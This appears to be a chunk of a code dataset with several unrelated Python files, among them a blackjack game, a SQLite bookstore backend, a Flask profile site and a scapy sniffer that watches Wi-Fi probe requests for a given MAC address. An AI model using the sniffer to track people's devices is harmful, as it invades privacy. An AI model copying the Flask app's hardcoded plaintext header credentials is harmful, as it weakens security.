a,e,i,omega_AP,omega_LAN,T, EA = cart_2_kep(r_test,v_test)\n r_test2, v_test2 = kep_2_cart(a,e,i,omega_AP,omega_LAN,T, EA)\n \n \n print(cart_2_kep(r_test, v_test))\n print(kep_2_cart(a,e,i,omega_AP, omega_LAN, T, EA))\n\n print(r_test2 - r_test)\n print(v_test2 - v_test)\n\n pos = [-6112545.002481, 404177.697644, 2216748.891872]\n vel = [1758.719328, -5296.305573, 5584.281914]\n\n print('FPA: %f' %(computeFPA(pos, vel)))\n \n zenith = includedAngle(pos, vel)\n [per, apo] = computePerigeeApogee(pos, vel, math.degrees(zenith))\n print('Earth R: %f' %(Re))\n print(per-Re,apo-Re)\n\n \n","sub_path":"orbits.py","file_name":"orbits.py","file_ext":"py","file_size_in_byte":6741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"616011020","text":"#!/usr/bin/python\n\nimport sys\nimport requests\nfrom scapy.layers.dot11 import Dot11ProbeReq\nfrom scapy.sendrecv import sniff\n\nclientSearched = []\n\n# Function to execute when a packet was found\ndef stationFound(packet):\n\n # Looking for probe requests which is given by station\n if (packet.haslayer(Dot11ProbeReq)):\n\n # Use the mac address provided\n if (len(sys.argv) > 1):\n\n # The client searched has been found. We print him once.\n if (packet.addr2 == sys.argv[1] and packet.addr2 not in clientSearched):\n\n print(\"The client with MAC address given (\" + sys.argv[1] + \") has been found: \")\n clientSearched.append(packet.addr2)\n print(packet.addr2 + \" | \" + packet.info)\n\nif __name__ == '__main__':\n\n print(\"Start the script to sniff devices...\")\n\n # Sniff devices in the area\n sniff(iface=\"wlan0mon\", prn=stationFound)\n\n print(\"End of sniffing...\")\n","sub_path":"sniffer.py","file_name":"sniffer.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"316990612","text":"import argparse\nimport os\n\nimport gym\nimport minerl\nimport numpy as np\nfrom ray.rllib.evaluation.sample_batch_builder import SampleBatchBuilder\nfrom ray.rllib.models.preprocessors import get_preprocessor\nfrom ray.rllib.offline.json_writer import JsonWriter\n\nfrom minerl_rllib.envs import register\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data-path', default=os.getenv('MINERL_DATA_ROOT', 'data'))\nparser.add_argument('--save-path', default=None)\nparser.add_argument('--env', default=None)\n\n\ndef main():\n args = parser.parse_args()\n\n if args.save_path is None:\n save_path = os.path.join(args.data_path, 'rllib')\n else:\n save_path = args.save_path\n\n if args.env is None:\n env_list = []\n for env_spec in minerl.herobraine.envs.obfuscated_envs:\n env_list.append(env_spec.name)\n else:\n env_list = [args.env]\n\n register()\n\n for env_name in env_list:\n env = gym.make(env_name)\n env = env.MineRLObservationWrapper(env.MineRLActionWrapper(env))\n\n batch_builder = SampleBatchBuilder()\n writer = JsonWriter(os.path.join(save_path, env_name))\n prep = get_preprocessor(env.observation_space)(env.observation_space)\n\n env.close()\n\n data = minerl.data.make(env_name, data_dir=args.data_path)\n\n for trajectory_name in data.get_trajectory_names():\n t = 0\n prev_action = None\n prev_reward = 0\n done = False\n obs = None\n info = None\n for obs, action, reward, next_obs, done in data.load_data(trajectory_name):\n obs = (obs['pov'], obs['vector'])\n next_obs = (next_obs['pov'], next_obs['vector'])\n action = action['vector']\n if prev_action is None:\n prev_action = np.zeros_like(action)\n\n batch_builder.add_values(\n t=t,\n eps_id=trajectory_name,\n agent_index=0,\n obs=prep.transform(obs),\n actions=action,\n action_prob=1.0, # put the true action probability here\n rewards=reward,\n prev_actions=prev_action,\n prev_rewards=prev_reward,\n dones=done,\n infos=info,\n new_obs=prep.transform(next_obs))\n prev_action = action\n prev_reward = reward\n t += 1\n writer.write(batch_builder.build_and_reset())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"minerl_rllib/convert_data.py","file_name":"convert_data.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"103289869","text":"__author__ = 'Vivek Gour'\n__copyright__ = 'Copyright 2013, Searce'\n__version__ = '1.0.0'\n__maintainer__ = 'Vivek Gour'\n__email__ = 'Vivek.Gour@searce.com'\n__status__ = 'Development'\n\nfrom random import randrange\nimport Tkinter\nimport tkMessageBox\nfrom Tkinter import *\nstartGame = Tkinter.Tk(className=\"Black-Jack Game\")\n\n\nclass myNewGame(object):\n # __slots__ = ['deck', 'playGameObj']\n\n def __init__(self):\n self.deck = ['A', 'J', 'Q', 'K', '2', '3', '4', '5', '6', '7', '8', '9', '10'] * 4 * 6\n self.playerScore = []\n self.dealerScore = []\n b1 = Button(startGame, text=\"Start Game\", command=self.playBlackJackGame)\n b1.pack()\n b1.place(height=30, width=80, x=60, y=80)\n startGame.minsize(width=200, height=200)\n startGame.mainloop()\n\n def playBlackJackGame(self):\n startGame.destroy()\n self.playGame = Tkinter.Tk(className=\"Black-Jack Game\")\n self.playerCards = StringVar()\n self.dealerCards = StringVar()\n self.playerPoints = StringVar()\n self.dealerPoints = StringVar()\n l1 = Label(self.playGame, text=\"Player\")\n l2 = Label(self.playGame, text=\"Dealer\")\n l3 = Label(self.playGame, textvariable=self.playerCards)\n l4 = Label(self.playGame, textvariable=self.dealerCards)\n l5 = Label(self.playGame, textvariable=self.playerPoints)\n l6 = Label(self.playGame, textvariable=self.dealerPoints)\n self.playerCards.set(\" \")\n self.dealerCards.set(\" \")\n l1.pack()\n l1.place(height=30, width=80, x=50, y=30)\n l2.pack()\n l2.place(height=30, width=80, x=280, y=30)\n l3.pack()\n l3.place(height=30, width=200, x=50, y=70)\n l4.pack()\n l4.place(height=30, width=200, x=280, y=70)\n l5.pack()\n l5.place(height=30, width=80, x=50, y=10)\n l6.pack()\n l6.place(height=30, width=80, x=280, y=10)\n self.b3 = Tkinter.Button(self.playGame, text=\"Deal\", command=self.deal)\n self.b3.pack()\n self.b3.place(height=30, width=80, x=100, y=150)\n\n self.playGame.minsize(width=500, height=200)\n self.playGame.mainloop()\n\n def getCardPoint(self, cards):\n cardpoints = 0\n for card in cards:\n if card in ['A']:\n cardpoints += 11\n elif card in ['J', 'Q', 'K']:\n cardpoints += 10\n else:\n cardpoints += 1\n return cardpoints\n\n def deal(self):\n self.b3.destroy()\n self.playGame.minsize(width=500, height=200)\n self.userCards = [self.drawCards(), self.drawCards()]\n self.systemCards = [self.drawCards()]\n self.playerCards.set(\" | \".join(self.userCards))\n self.dealerCards.set(\" | \".join(self.systemCards))\n self.userPoints = self.getCardPoint(self.userCards)\n self.systemPoints = self.getCardPoint(self.systemCards)\n self.playerPoints.set(self.userPoints)\n self.dealerPoints.set(self.systemPoints)\n self.getResult()\n\n def getResult(self):\n if self.userPoints > 21:\n self.b1.destroy()\n self.b2.destroy()\n self.b3 = Tkinter.Button(self.playGame, text=\"Deal Again\", command=self.deal)\n self.b3.pack()\n self.b3.place(height=30, width=80, x=280, y=150)\n self.b4 = Tkinter.Button(self.playGame, text=\"Statistic\", command=self.statistics)\n self.b4.pack()\n self.b4.place(height=30, width=80, x=400, y=150)\n self.lose(\"Player\")\n self.playerScore.append(self.userPoints)\n self.dealerScore.append(self.systemPoints)\n elif self.userPoints < 21:\n self.b1 = Tkinter.Button(self.playGame, text=\"Pick a Card\", command=self.pickCard)\n self.b2 = Tkinter.Button(self.playGame, text=\"Skip\", command=self.skip)\n self.b1.pack()\n self.b1.place(height=30, width=80, x=280, y=150)\n self.b2.pack()\n self.b2.place(height=30, width=80, x=400, y=150)\n else:\n self.b1.destroy()\n self.b2.destroy()\n self.b3 = Tkinter.Button(self.playGame, text=\"Deal Again\", command=self.deal)\n self.b3.pack()\n self.b3.place(height=30, width=80, x=280, y=150)\n self.b4 = Tkinter.Button(self.playGame, text=\"Statistic\", command=self.statistics)\n self.b4.pack()\n self.b4.place(height=30, width=80, x=400, y=150)\n self.won(\"Player\")\n self.playerScore.append(self.userPoints)\n self.dealerScore.append(self.systemPoints)\n\n def pickCard(self):\n self.b3.destroy()\n self.userCards.append(self.drawCards())\n self.playerCards.set(\" | \".join(self.userCards))\n self.userPoints = self.getCardPoint(self.userCards)\n self.playerPoints.set(self.userPoints)\n self.getResult()\n\n def skip(self):\n self.b3.destroy()\n self.systemCards.append(self.drawCards())\n self.dealerCards.set(\" | \".join(self.systemCards))\n self.systemPoints = self.getCardPoint(self.systemCards)\n self.dealerPoints.set(self.systemPoints)\n if self.systemPoints == 21:\n self.b1.destroy()\n self.b2.destroy()\n self.b3 = Tkinter.Button(self.playGame, text=\"Deal Again\", command=self.deal)\n self.b3.pack()\n self.b3.place(height=30, width=80, x=280, y=150)\n self.b4 = Tkinter.Button(self.playGame, text=\"Statistic\", command=self.statistics)\n self.b4.pack()\n self.b4.place(height=30, width=80, x=400, y=150)\n self.won(\"Dealer\")\n self.playerScore.append(self.userPoints)\n self.dealerScore.append(self.systemPoints)\n elif self.systemPoints <= 16:\n self.skip()\n elif self.systemPoints >= 17:\n self.finalResult()\n\n def finalResult(self):\n if self.systemPoints >= 17 and self.userPoints < 21:\n\n if self.userPoints > self.systemPoints:\n self.won(\"Player\")\n self.b3 = Tkinter.Button(self.playGame, text=\"Deal Again\", command=self.deal)\n self.b3.pack()\n self.b3.place(height=30, width=80, x=280, y=150)\n else:\n self.won(\"Dealer\")\n self.b3 = Tkinter.Button(self.playGame, text=\"Deal Again\", command=self.deal)\n self.b3.pack()\n self.b3.place(height=30, width=80, x=280, y=150)\n self.playerScore.append(self.userPoints)\n self.dealerScore.append(self.systemPoints)\n self.playerPoints.set(self.userPoints)\n self.dealerPoints.set(self.systemPoints)\n\n def statistics(self):\n\n l1 = Label(self.playGame, text=\"Statistics\")\n l1.pack()\n l1.place(height=30, width=80, x=20, y=230)\n Games = StringVar()\n l2 = Label(self.playGame, text=\"Games\", textvariable=Games)\n l2.pack()\n l2.place(height=30, width=500, x=20, y=260)\n Games.set(\" | \".join([\"Game %s\" % (x) for x in range(1,len(self.playerScore)+1)]))\n Player = StringVar()\n l3 = Label(self.playGame, text=\"Player\", textvariable=Player)\n l3.pack()\n l3.place(height=30, width=500, x=20, y=290)\n Player.set(\" | \".join(map(lambda x: \" \"+str(x)+\" \", self.playerScore)))\n Dealer = StringVar()\n l4 = Label(self.playGame, text=\"Dealer\", textvariable=Dealer)\n l4.pack()\n l4.place(height=30, width=500, x=20, y=320)\n Dealer.set(\" | \".join(map(lambda x: \" \"+str(x)+\" \", self.dealerScore)))\n self.playGame.minsize(width=500, height=400)\n\n def won(self, user):\n tkMessageBox.showinfo(\"WON !!\", user+\" Won The Game\")\n\n def lose(self, user):\n tkMessageBox.showinfo(\"LOSE !!\", user+\" Lose The Game\")\n\n def drawCards(self):\n return self.deck[randrange(0, 311)]\n\n\nif __name__ == \"__main__\":\n g = myNewGame()","sub_path":"blackJackGame/game/newGame.py","file_name":"newGame.py","file_ext":"py","file_size_in_byte":7996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"533368393","text":"def bottomView(root):\n \n # code here\n if not root:\n return \n dic={}\n q=[]\n mi=99999\n res=[]\n q.append((root,0))\n while(q):\n cur=q[0]\n q.pop(0)\n hd=cur[1]\n mi=min(mi,hd)\n dic[hd]=cur[0].data\n if cur[0].left:\n q.append((cur[0].left,hd-1))\n if cur[0].right:\n q.append((cur[0].right,hd+1))\n while mi in dic:\n res.append(dic[mi])\n mi+=1\n return res\n","sub_path":"binary tree/bottom_view.py","file_name":"bottom_view.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"494876237","text":"def main():\n my_message = 'Common sense is not so common'\n my_key = 8\n\n ciphertext = encrypt_message(my_key, my_message)\n print(ciphertext + '|')\n\ndef encrypt_message(key, message):\n ciphertext = [''] * key\n for column in range(key):\n current_index = column\n\n while current_index < len(message):\n ciphertext[column] += message[current_index]\n current_index += key\n \n return ''.join(ciphertext)\n\nif __name__ == '__main__':\n main()","sub_path":"Python/Ciphers/02.Transposition/01.transposition.py","file_name":"01.transposition.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"240202878","text":"import sqlite3\n\ndef connect():\n conn=sqlite3.connect(\"books.db\")\n cursor=conn.cursor()\n cursor.execute(\"CREATE TABLE IF NOT EXISTS BOOKS1 (SERIALID INTEGER PRIMARY KEY,TITLE TEXT,AUTHOR TEXT,year integer,ISBN INTEGER) \")\n conn.commit()\n conn.close()\n\n\ndef insert(title,author,year,isbn):\n conn=sqlite3.connect(\"books.db\")\n cursor=conn.cursor()\n cursor.execute(\"INSERT INTO BOOKS1 VALUES(NULL,?,?,?,?)\",(title,author,year,isbn))\n conn.commit()\n conn.close() \n\ndef viewall():\n conn=sqlite3.connect(\"books.db\")\n cursor=conn.cursor()\n cursor.execute(\"select * from books1\")\n rows=cursor.fetchall()\n conn.close()\n return rows\n \n\ndef search(title=\"\",author=\"\",year=\"\",isbn=\"\"):\n conn=sqlite3.connect(\"books.db\")\n cursor=conn.cursor()\n cursor.execute(\"select * from books1 where title=? or author=? or year=? or isbn=?\",(title,author,year,isbn))\n rows=cursor.fetchall()\n conn.close()\n return rows \n\ndef update(title,author,year,isbn,serialid):\n conn=sqlite3.connect(\"books.db\")\n cursor=conn.cursor()\n cursor.execute(\"UPDATE BOOKS1 SET TITLE=?,AUTHOR=?,YEAR=?, ISBN=? WHERE SERIALID=?\",(title,author,year,isbn,serialid))\n conn.commit()\n conn.close()\n\ndef delete(serialid):\n conn=sqlite3.connect(\"books.db\")\n cursor=conn.cursor()\n cursor.execute(\"DELETE FROM BOOKS1 WHERE SERIALID=?\",(serialid,))\n conn.commit()\n conn.close()\n\n\n#delete(7)\n#connect()\n#insert(\"THE SUN\",\"JOHN\",1975,876)\n#update('The MOON',\"Henry T\",1947,\"783773\",4)\n#print(viewall())\n#print(search(author=\"rock\"))","sub_path":"APP4(DESKTOP APP)/bookstore/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"133701941","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 3 16:03:54 2017\n\n@author: Wanying\n\"\"\"\n\nfile_name = 'PCR.csv'\n#file_name = '2016_0816.csv' #decoding error\n\n'''\nwith open(file_name, 'r') as fh:\n for line in fh:\n #line = line.decode(\"utf-8\")\n if line.strip()[:1].isnumeric():\n \tprint(line.strip().split(','))\n\n'''\n\n'''\n1. Build a PCR class\n2. Read data file and set values\n\n'''\n\n'''import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfile = pd.read_csv(file_name)\nprint(file.dtypes)'''\n#import csv\n#try: csv_file = open(file_name, 'r')\n#except: print('No file found')\n#\n#pcr = list(csv.DictReader(csv_file))\n#print(pcr[0])\n\nimport numpy as np\nx = np.arange(1, 10, 1)\n#x = x.reshape(3, 3)\n#print(x)\n\ny = np.diag(x)\n\nprint(y)","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"246723892","text":"#FLASK\nfrom flask import Flask, jsonify, render_template, request, send_file\napp = Flask(__name__)\nimport os,optparse\nimport yaml\n\n# developer = os.getenv(\"DEVELOPER\", \"Me\")\nenvironment=os.getenv(\"ENVIRONMENT\",\"development\")\n\nwith open(\"links.yaml\", 'r',encoding='utf-8') as stream:\n try:\n info = yaml.safe_load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n\npicture = info['picture']\nname = info['name']\nshortbio = info['shortbio']\nprint(info['picture'])\nprint(info['name'])\nprint(info['shortbio'])\n\nsocial = []\nfor i in range(len(info['social'])):\n if info['social'][i].get(i).get('enable') == True:\n social.append(info['social'][i].get(i))\n #print(info['social'][i].get(i))\n\nlinks = []\nfor i in range(len(info['links'])):\n if info['links'][i].get(i).get('enable') == True:\n links.append(info['links'][i].get(i)) \n #links.append(info['links'][i].get(i))\n #print(info['links'][i].get(i))\n\n@app.route(\"/\")\ndef about():\n return render_template(\"index1.html\", picture=picture, \n name=name, \n shortbio=shortbio,\n social=social,\n links=links)\n\n@app.route(\"/link\", methods=['POST'])\ndef addLink():\n print(request.headers.get('User'))\n if(request.headers.get('User') == 'andr' and request.headers.get('Pass') == '1234'):\n print(request.get_json().get('link'))\n links.append(request.get_json().get('link'))\n return {'response' : \"link added correctly\"}\n else:\n return {'response': \"could not add the link incorrect credentials\"}\n print(request.form.to_dict())\n\n@app.route('/cv')\ndef CV_Final ():\n #For windows you need to use drive name [ex: F:/Example.pdf]\n path = \"./CV_Final_eng.pdf\"\n return send_file(path, as_attachment=False)\n\n\n@app.route('/download')\ndef downloadFile ():\n #For windows you need to use drive name [ex: F:/Example.pdf]\n path = \"./CV_Final.pdf\"\n return send_file(path, as_attachment=True)\n\nif __name__ == \"__main__\":\n debug=False\n if environment == \"development\" or environment == \"local\":\n debug=True\n app.run(host=\"0.0.0.0\",port=5000,debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"334842948","text":"import ConfigParser\nimport io\nimport os\nimport re\nfrom zipfile import *\nimport fnmatch\nimport errno\n\ndef mkdir_p(path):\n\ttry:\n\t\tos.makedirs(path)\n\texcept OSError as e:\n\t\tif e.errno == errno.EEXIST:\n\t\t\tpass\n\t\telse: raise\n\nclass JSBindingsGenerator(object):\n\t\n\tdef __init__(self, config):\n\t\tself.config = config\n\t\tself.libName = self.config.get('global', 'LibraryName')\n\t\tself.jsClassOut = \"\"\n\t\tself.jsIndexOut = \"\"\n\t\tself.wrappersHeaderList = \"\"\n\t\tself.wrappersHeaderBody = \"\"\n\t\tself.cppRegisterOut = \"\"\n\t\tself.inheritInModule = self.config.get('global', 'InheritInModule').replace(\" \", \"\").split(\",\")\n\t\tself.disableGC = self.config.get('global', 'DisableGarbageCollection').replace(\" \", \"\").split(\",\")\n\t\tself.cppRegisterOut += \"int jsopen_%s(duk_context *ctx) {\\n\" % (self.libName)\n\t\tself.cppRegisterOut += \"\\tconst duk_function_list_entry %s_funcs[] = {\\n\" % (self.libName)\n\t\tmkdir_p(\"%s/%s\" % (self.config.get('js', 'JSApiDirectory'), self.libName))\n\t\tself.ignoreMethods = self.config.get('global', 'IgnoreMethods').replace(\" \", \"\").split(\",\")\n\n\tdef processTargetFile(self, targetFile):\n\t\tself.wrappersHeaderList += \"#include \\\"%s/%s\\\"\\n\" % (self.config.get('global', 'HeaderIncludeDirectory'), targetFile)\n\n\tdef processClass(self, c):\n\n\t\tinherits = False\n\t\tparentClass = \"\"\n\t\tif \"parent\" in c:\n\t\t\tif c[\"parent\"] in self.inheritInModule: # Parent class is in this module\n\t\t\t\tself.jsClassOut += \"require('%s/%s')\\n\\n\" % (self.config.get('global', 'LibraryName'), c[\"parent\"])\n\t\t\telse: \n\t\t\t\tself.jsClassOut += \"require('%s/%s')\\n\\n\" % (self.config.get('global', 'DefaultModule'), c[\"parent\"])\n\n\t\t\tparentClass = c[\"parent\"]\n\t\t\tinherits = True\n\n\t\tconstructor = None\n\t\tfor method in c[\"methods\"]:\n\t\t\tif method[\"name\"] == c[\"name\"]:\n\t\t\t\tconstructor = method\n\n\t\tparams = \"\"\n\t\tparamList = []\n\t\tif constructor:\n\t\t\tparams = \",\".join(str(p[\"name\"]) for p in constructor[\"parameters\"])\n\t\t\tparamList = constructor[\"parameters\"]\n\n\t\tself.jsClassOut += \"function %s(%s) {\\n\" % (c[\"name\"], params)\n\t\tif c[\"name\"] not in self.ignoreMethods:\n\t\t\tself.jsClassOut += \"\\tif(arguments[0] != \\\"__skip_ptr__\\\") {\\n\"\n\t\t\tself.jsClassOut += \"\\t\\tthis.__ptr = %s.%s(%s)\\n\" % (self.libName, c[\"name\"], params)\n\t\t\tself.jsClassOut += \"\\t}\\n\"\n\t\t\tself.cppRegisterOut += \"\\t\\t\\t{\\\"%s\\\", %s_%s, %d},\\n\" % (c[\"name\"], self.libName, c[\"name\"], len(paramList))\n\n\t\t\tself.wrappersHeaderBody += \"\\tduk_ret_t %s_%s(duk_context *context) {\\n\" % (self.libName, c[\"name\"])\n\n\t\t\tidx = 0\n\t\t\tfor p in paramList:\n\t\t\t\tif \"*\" in p[\"type\"]:\n\t\t\t\t\toutfunc = \"(%s)duk_to_pointer\" % (p[\"type\"])\n\t\t\t\t\touttype = \"%s\" % p[\"type\"]\n\t\t\t\telse:\n\t\t\t\t\toutfunc = \"*(%s*)duk_to_pointer\" % (p[\"type\"])\n\t\t\t\t\touttype = \"%s\" % p[\"type\"]\n\t\t\t\tif p[\"type\"] == \"int\":\n\t\t\t\t\toutfunc = \"duk_to_int\"\n\t\t\t\t\touttype = \"int\"\n\t\t\t\tif p[\"type\"] == \"PolyKEY\":\n\t\t\t\t\toutfunc = \"(PolyKEY)duk_to_int\"\n\t\t\t\t\touttype = \"PolyKEY\"\n\t\t\t\tif p[\"type\"] == \"Number\":\n\t\t\t\t\toutfunc = \"duk_to_number\"\n\t\t\t\t\touttype = \"Number\"\n\t\t\t\tif p[\"type\"] == \"bool\":\n\t\t\t\t\toutfunc = \"duk_to_boolean\"\n\t\t\t\t\touttype = \"bool\"\n\t\t\t\tif p[\"type\"] == \"String\":\n\t\t\t\t\toutfunc = \"duk_to_string\"\n\t\t\t\t\touttype = \"String\"\n\t\t\t\tself.wrappersHeaderBody += \"\\t\\t%s %s = %s(context, %d);\\n\" % (outtype, p[\"name\"], outfunc, idx)\n\t\t\t\tidx += 1\n\n\t\t\tself.wrappersHeaderBody += \"\\t\\tstd::shared_ptr<%s> *inst = new std::shared_ptr<%s>;\\n\" % (c[\"name\"], c[\"name\"])\n\t\t\tself.wrappersHeaderBody += \"\\t\\t(*inst) = std::make_shared<%s>(%s);\\n\" % (c[\"name\"], params)\n\n\t\t\tself.wrappersHeaderBody += \"\\t\\tduk_push_pointer(context, (void*)inst);\\n\"\n\t\t\tself.wrappersHeaderBody += \"\\t\\treturn 1;\\n\"\n\t\t\tself.wrappersHeaderBody += \"\\t}\\n\\n\"\n\n\n\t\tself.makeJSProperties(c)\n\t\tself.jsClassOut += \"}\\n\\n\"\n\n\t\tself.makeJSStaticProps(c)\n\t\tself.jsClassOut += \"\\n\"\n\n\t\tif inherits:\n\t\t\tself.jsClassOut += \"%s.prototype = Object.create(%s.prototype)\\n\\n\" % (c[\"name\"], parentClass)\n\n\t\tself.makeJSPropAccessors(c)\n\n\t\tif c[\"name\"] not in self.disableGC:\n\t\t\tself.jsClassOut += \"Duktape.fin(%s.prototype, function (x) {\\n\" % (c[\"name\"])\n\t\t\tself.jsClassOut += \"\\tif (x === %s.prototype) {\\n\" % (c[\"name\"])\n\t\t\tself.jsClassOut += \"\\t\\treturn;\\n\"\n\t\t\tself.jsClassOut += \"\\t}\\n\"\n\t\t\tself.jsClassOut += \"\\t%s.%s__delete(x.__ptr)\\n\" % (self.libName, c[\"name\"])\n\t\t\tself.jsClassOut += \"})\\n\"\n\n\t\tself.cppRegisterOut += \"\\t\\t\\t{\\\"%s__delete\\\", %s_%s__delete, 1},\\n\" % (c[\"name\"], self.libName, c[\"name\"])\n\n\t\tself.wrappersHeaderBody += \"\\tduk_ret_t %s_%s__delete(duk_context *context) {\\n\" % (self.libName, c[\"name\"])\n\t\tself.wrappersHeaderBody += \"\\t\\tstd::shared_ptr<%s> *inst = (std::shared_ptr<%s>*)duk_to_pointer(context, 0);\\n\" % (c[\"name\"], c[\"name\"])\n\t\tself.wrappersHeaderBody += \"\\t\\tdelete inst;\\n\"\n\t\tself.wrappersHeaderBody += \"\\t\\treturn 0;\\n\"\n\t\tself.wrappersHeaderBody += \"\\t}\\n\\n\"\n\n\t\tself.makeJSMethods(c)\n\t\tself.writeClass(c)\n\t\tself.jsIndexOut += \"require('%s/%s')\\n\" % (self.libName, c[\"name\"])\n\n\tdef makeJSStaticProps(self, c):\n\t\tif len(c[\"staticProperties\"]) > 0:\n\t\t\tfor pp in c[\"staticProperties\"]:\n\t\t\t\tif \"defaultValue\" in pp:\n\t\t\t\t\tself.jsClassOut += \"%s.%s = %s\\n\" % (c[\"name\"], pp[\"name\"], pp[\"defaultValue\"])\n\n\tdef makeJSPropAccessors(self, c):\n\t\tif len(c[\"properties\"]) > 0:\n\t\t\tfor pp in c[\"properties\"]:\n\t\t\t\tself.jsClassOut += \"%s.prototype.__get_%s = function() {\\n\" % (c[\"name\"], pp[\"name\"])\n\n\t\t\t\tself.cppRegisterOut += \"\\t\\t\\t{\\\"%s__get_%s\\\", %s_%s__get_%s, 1},\\n\" % (c[\"name\"], pp[\"name\"], self.libName, c[\"name\"], pp[\"name\"])\n\n\t\t\t\tself.wrappersHeaderBody += \"\\tduk_ret_t %s_%s__get_%s(duk_context *context) {\\n\" % (self.libName, c[\"name\"], pp[\"name\"])\n\t\t\t\tself.wrappersHeaderBody += \"\\t\\tstd::shared_ptr<%s> *inst = (std::shared_ptr<%s>*)duk_to_pointer(context, 0);\\n\" % (c[\"name\"], c[\"name\"])\n\n\t\t\t\toutfunc = \"this_shouldnt_happen\"\n\t\t\t\tretFunc = \"\"\n\t\t\t\tif pp[\"type\"] == \"Number\":\n\t\t\t\t\toutfunc = \"duk_push_number\"\n\t\t\t\tif pp[\"type\"] == \"String\":\n\t\t\t\t\toutfunc = \"duk_push_string\"\n\t\t\t\t\tretFunc = \".c_str()\"\n\t\t\t\tif pp[\"type\"] == \"int\" or pp[\"type\"] == \"PolyKEY\":\n\t\t\t\t\toutfunc = \"duk_push_int\"\n\t\t\t\tif pp[\"type\"] == \"bool\":\n\t\t\t\t\toutfunc = \"duk_push_boolean\"\n\n\t\t\t\tif pp[\"type\"].find(\"*\") > -1: # Returned var is definitely a pointer.\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tPolyBase *ptrRetVal = NULL;//(PolyBase*)inst->%s%s; //TODO: disable direct pointer access\\n\" % (pp[\"name\"], retFunc)\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tduk_push_pointer(context, (void*)ptrRetVal);\\n\"\n\t\t\t\t\tself.jsClassOut += \"\\tvar retVal = new %s(\\\"__skip_ptr__\\\")\\n\\tretVal.__ptr = \" % (pp[\"cleanType\"])\n\t\t\t\t\tself.jsClassOut += \"\\t%s.%s__get_%s(this.__ptr)\\n\" % (self.libName, c[\"name\"], pp[\"name\"]) \n\t\t\t\t\tself.jsClassOut += \"\\treturn retVal\\n\"\n\t\t\t\t\tself.jsClassOut += \"}\\n\\n\"\n\t\t\t\telif self.isBasicType(pp[\"type\"]) == True:\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t%s(context, (*inst)->%s%s);\\n\" % (outfunc, pp[\"name\"], retFunc);\n\t\t\t\t\tself.jsClassOut += \"\\treturn %s.%s__get_%s(this.__ptr)\\n\" % (self.libName, c[\"name\"], pp[\"name\"])\n\t\t\t\t\tself.jsClassOut += \"}\\n\\n\"\n\t\t\t\telse: \n\t\t\t\t\tclassName = pp[\"type\"].replace(\"const\", \"\").replace(\"&\", \"\").replace(\"inline\", \"\").replace(\"virtual\", \"\").replace(\"static\", \"\")\n\t\t\t\t\tif className == \"Polygon\": # Deal with potential windows.h conflict\n\t\t\t\t\t\tclassName = \"Polycode::Polygon\"\n\t\t\t\t\tif className == \"Rectangle\":\n\t\t\t\t\t\tclassName = \"Polycode::Rectangle\"\n\t\t\t\t\tif className == \"Polycode : : Rectangle\":\n\t\t\t\t\t\tclassName = \"Polycode::Rectangle\"\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tstd::shared_ptr<%s> *retInst = new std::shared_ptr<%s>;\\n\" % (className, className)\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t*retInst = std::make_shared<%s>();\\n\" % (className)\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t*(*retInst) = (*inst)->%s%s;\\n\" % (pp[\"name\"], retFunc)\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tduk_push_pointer(context, (void*)retInst);\\n\"\n\t\t\t\t\tself.jsClassOut += \"\\tvar retVal = new %s(\\\"__skip_ptr__\\\")\\n\\tretVal.__ptr = \" % (pp[\"cleanType\"])\n\t\t\t\t\tself.jsClassOut += \"\\t%s.%s__get_%s(this.__ptr)\\n\" % (self.libName, c[\"name\"], pp[\"name\"]) \n\t\t\t\t\tself.jsClassOut += \"\\treturn retVal\\n\"\n\t\t\t\t\tself.jsClassOut += \"}\\n\\n\"\n\n\t\t\t\tself.wrappersHeaderBody += \"\\t\\treturn 1;\\n\"\n\t\t\t\tself.wrappersHeaderBody += \"\\t}\\n\\n\"\n\n\n\t\t\t\tself.jsClassOut += \"%s.prototype.__set_%s = function(val) {\\n\" % (c[\"name\"], pp[\"name\"])\n\t\t\t\t\n\t\t\t\tif self.isBasicType(pp[\"type\"]):\n\t\t\t\t\tself.jsClassOut += \"\\t%s.%s__set_%s(this.__ptr, val)\\n\" % (self.libName, c[\"name\"], pp[\"name\"])\n\t\t\t\telse:\n\t\t\t\t\tself.jsClassOut += \"\\t%s.%s__set_%s(this.__ptr, val.__ptr)\\n\" % (self.libName, c[\"name\"], pp[\"name\"])\n\t\t\t\tself.jsClassOut += \"}\\n\\n\"\n\t\t\t\t\n\t\t\t\tself.cppRegisterOut += \"\\t\\t\\t{\\\"%s__set_%s\\\", %s_%s__set_%s, 2},\\n\" % 